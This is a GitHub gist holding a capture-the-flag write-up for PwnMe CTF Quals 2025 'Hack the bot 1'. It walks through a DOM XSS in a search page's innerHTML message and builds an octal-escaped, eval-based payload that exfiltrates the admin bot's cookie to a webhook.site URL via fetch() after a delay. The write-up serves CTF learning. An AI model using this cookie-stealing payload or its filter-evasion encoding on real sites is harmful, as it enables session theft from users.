Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save ky28059/0d9af500fb0b9923022eaad055fc7b7c to your computer and use it in GitHub Desktop.
Save ky28059/0d9af500fb0b9923022eaad055fc7b7c to your computer and use it in GitHub Desktop.

Revisions

  1. ky28059 created this gist Mar 1, 2025.
    202 changes: 202 additions & 0 deletions PwnMe CTF Quals 2025 Hack the bot 1 writeup.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,202 @@
    # PwnMe CTF Quals 2025 — Hack the bot 1
    > I've developed a little application to help me with my pentest missions, with lots of useful payloads! I even let users add new payloads, but since I was in a rush I didn't have time to test the security of my application, could you take care of it ?
    We're given an express server that looks like this:
    ```js
    const express = require('express');
    const path = require('path');
    const fs = require('fs');
    const { spawn } = require('child_process');
    const puppeteer = require('puppeteer');
    const { format } = require('date-fns');

    const app = express();
    const port = 5000;

    const logPath = '/tmp/bot_folder/logs/';
    const browserCachePath = '/tmp/bot_folder/browser_cache/';

    const cookie = {
    name: 'Flag',
    value: "PWNME{FAKE_FLAG}",
    sameSite: 'Strict'
    };

    app.use(express.urlencoded({ extended: true }));

    app.use(express.static(path.join(__dirname, 'public')));

    app.set('views', path.join(__dirname, 'views'));
    app.set('view engine', 'ejs');

    if (!fs.existsSync(logPath)) {
    fs.mkdirSync(logPath, { recursive: true });
    }

    if (!fs.existsSync(browserCachePath)) {
    fs.mkdirSync(browserCachePath, { recursive: true });
    }

    const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

    async function startBot(url, name) {
    const logFilePath = path.join(logPath, `${name}.log`);

    try {
    const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
    logStream.write(`${new Date()} : Attempting to open website ${url}\n`);

    const browser = await puppeteer.launch({
    headless: 'new',
    args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
    });

    const page = await browser.newPage();
    await page.goto(url);

    if (url.startsWith("http://localhost/")) {
    await page.setCookie(cookie);
    }

    logStream.write(`${new Date()} : Successfully opened ${url}\n`);

    await sleep(7000);
    await browser.close();

    logStream.write(`${new Date()} : Finished execution\n`);
    logStream.end();
    } catch (e) {
    const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
    logStream.write(`${new Date()} : Exception occurred: ${e}\n`);
    logStream.end();
    }
    }

    app.get('/', (req, res) => {
    res.render('index');
    });

    app.get('/report', (req, res) => {
    res.render('report');
    });

    app.post('/report', (req, res) => {
    const url = req.body.url;
    const name = format(new Date(), "yyMMdd_HHmmss");
    startBot(url, name);
    res.status(200).send(`logs/${name}.log`);
    });

    app.listen(port, () => {
    console.log(`App running at http://0.0.0.0:${port}`);
    });
    ```
    Seemingly, the server sets up a simple "admin bot" whose cookie we need to extract via XSS.

    But where is the XSS vulnerability? Looking in the script loaded by `index.ejs`,
    ```js
    // Implements search functionality, filtering articles to display only those matching the search words (considering whole words case-insensitive matches)

    function getSearchQuery() {
    const params = new URLSearchParams(window.location.search);
    // Utiliser une valeur par défaut de chaîne vide si le paramètre n'existe pas
    return params.get('q') ? params.get('q').toLowerCase() : '';
    }

    document.addEventListener('DOMContentLoaded', function() {
    const searchQuery = getSearchQuery();
    document.getElementById('search-input').value = searchQuery;
    if (searchQuery) {
    searchArticles(searchQuery);
    }
    });

    document.getElementById('search-icon').addEventListener('click', function() {
    searchArticles();
    });

    document.getElementById('search-input').addEventListener('keypress', function(event) {
    if (event.key === 'Enter') {
    searchArticles();
    }
    });

    function searchArticles(searchInput = document.getElementById('search-input').value.toLowerCase().trim()) {
    const searchWords = searchInput.split(/[^\p{L}]+/u);
    const articles = document.querySelectorAll('.article-box');
    let found = false;
    articles.forEach(article => {
    if (searchInput === '') {
    article.style.display = '';
    found = true;
    } else {
    const articleText = article.textContent.toLowerCase();
    const isMatch = searchWords.some(word => word && new RegExp(`${word}`, 'ui').test(articleText));
    if (isMatch) {
    article.style.display = '';
    found = true;
    } else {
    article.style.display = 'none';
    }
    }
    });
    const noMatchMessage = document.getElementById('no-match-message');
    if (!found && searchInput) {
    noMatchMessage.innerHTML = `No results for "${searchInput}".`;
    noMatchMessage.style.display = 'block';
    } else {
    noMatchMessage.style.display = 'none';
    }
    }
    ```
    The idea seems to be that
    - The page automatically populates `search-input` with our passed-in query string.
    - For each "word" (tokens separated by [characters not in the unicode letter category](https://www.regular-expressions.info/unicode.html#prop)) in our query, we perform a case-insensitive Regex match against the text of each article on the page.
    - If no matches are found, we get direct `innerHTML` access -> XSS.

    But there's one last problem; the page's articles look like this:

    ![image](https://gist.github.com/user-attachments/assets/9d840a9b-e1df-4c45-90b5-e9fddd514ea0)

    so we need to be careful about choosing an XSS payload that doesn't match any of the banned tokens above. Looking [online](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet), one such payload is

    ![image](https://gist.github.com/user-attachments/assets/b74639aa-e387-4e0a-af9c-166eaee374f5)

    ```html
    <vinh oncontentvisibilityautostatechange="..." style=display:block;content-visibility:auto>
    ```

    but our executed JS can't contain any of the banned tokens, either. To be safe, we can use JS's [deprecated octal escape sequence](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#escape_sequences) syntax to encode our payload as

    ```js
    fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`)
    ```
    ```js
    eval('\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51')
    ```

    One final hiccup: looking at the bot source again,
    ```js
    const page = await browser.newPage();
    await page.goto(url);

    if (url.startsWith("http://localhost/")) {
    await page.setCookie(cookie);
    }
    ```
    the admin visits the page *before* setting its cookie. As a simple solution, we can just sleep for a bit before exfiltrating the cookie via XSS,

    ```js
    console.log([...'setTimeout(() => fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`), 3000)'].map(s => '\\' + s.charCodeAt(0).toString(8)).join(''))
    ```
    giving us a final payload looking like
    ```html
    <vinh oncontentvisibilityautostatechange="eval('\163\145\164\124\151\155\145\157\165\164\50\50\51\40\75\76\40\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51\54\40\63\60\60\60\51')" style=display:block;content-visibility:auto>
    ```
    Reporting this to the bot, we get the flag:

    ![image](https://gist.github.com/user-attachments/assets/cf486ec9-946e-4c53-b7ee-80f2c4efab81)

    ```
    PWNME{D1d_y0U_S4iD-F1lt33Rs?}
    ```